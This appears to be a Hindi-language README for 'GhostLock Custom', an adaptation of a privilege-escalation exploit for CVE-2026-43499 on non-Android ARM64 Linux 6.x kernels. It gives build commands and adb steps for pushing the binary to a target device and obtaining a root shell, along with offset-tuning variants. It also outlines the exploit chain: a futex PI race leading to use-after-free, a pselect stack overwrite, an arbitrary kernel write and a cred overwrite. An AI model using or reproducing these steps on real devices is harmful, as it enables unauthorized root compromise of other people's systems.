GhostLock Custom — CVE-2026-43499 अनुकूलित संस्करण

गैर-Android Linux 6.x ARM64 कर्नेल के लिए GhostLock (CVE-2026-43499) विशेषाधिकार वृद्धि शोषण।

कर्नेल विशेषताएँ

संकलन

स्थानीय संकलन (क्रॉस-कंपाइलर आवश्यक)

make

Android NDK संकलन

make android-arm64 NDK=/path/to/android-ndk

GitHub Actions (क्लाउड संकलन)

पुश करने पर स्वचालित रूप से संकलन ट्रिगर होता है, बस आर्टिफैक्ट डाउनलोड करें।

उपयोग

# लक्ष्य डिवाइस पर पुश करें
adb push ghostlock-arm64 /data/local/tmp/e
adb shell chmod 755 /data/local/tmp/e

# रूट शेल प्राप्त करें
adb shell /data/local/tmp/e --shell

# pselect ऑफसेट समायोजित करें (यदि डिफ़ॉल्ट मान काम नहीं करता है)
adb shell PSELECT_SHIFT=-4 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=-2 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=0 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=2 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=4 /data/local/tmp/e --shell

# भौतिक लोड पता निर्दिष्ट करें
adb shell KPHYS=0x80000000 /data/local/tmp/e --shell

पर्यावरण चर

विशेषाधिकार वृद्धि सिद्धांत

1. futex PI रेस: FUTEX_CMP_REQUEUE_PI remove_waiter() का UAF ट्रिगर करता है
2. pselect स्टैक ओवरराइट: मुक्त किया गया rt_mutex_waiter stack_fds बफर में आता है
3. PI ट्री लेखन: निर्मित फेक waiter के माध्यम से कर्नेल एड्रेस पर मनमाना लेखन प्राप्त करें
4. cred ओवरराइट: task_struct->cred को init_cred से ओवरराइट करें

अनुकूलन विवरण

यह संस्करण ghostlock-oneplus पर आधारित सरलीकृत है:

• SELinux अक्षम करने वाला कोड हटाया गया (इस कर्नेल में SELinux नहीं है)
• ashmem/configfs संबंधित कोड हटाया गया (इस कर्नेल में ये घटक नहीं हैं)
• KernelSU इंस्टॉलेशन कोड हटाया गया
• SLIDE KASLR लीक हटाया गया (कोई loggers/nfulnl_logger नहीं)
• Android-विशिष्ट कोड हटाया गया (miniADB आदि)

समस्या निवारण

अस्वीकरण

यह उपकरण केवल सुरक्षा अनुसंधान के लिए है। उपयोगकर्ता को सभी जिम्मेदारी स्वयं वहन करनी होगी।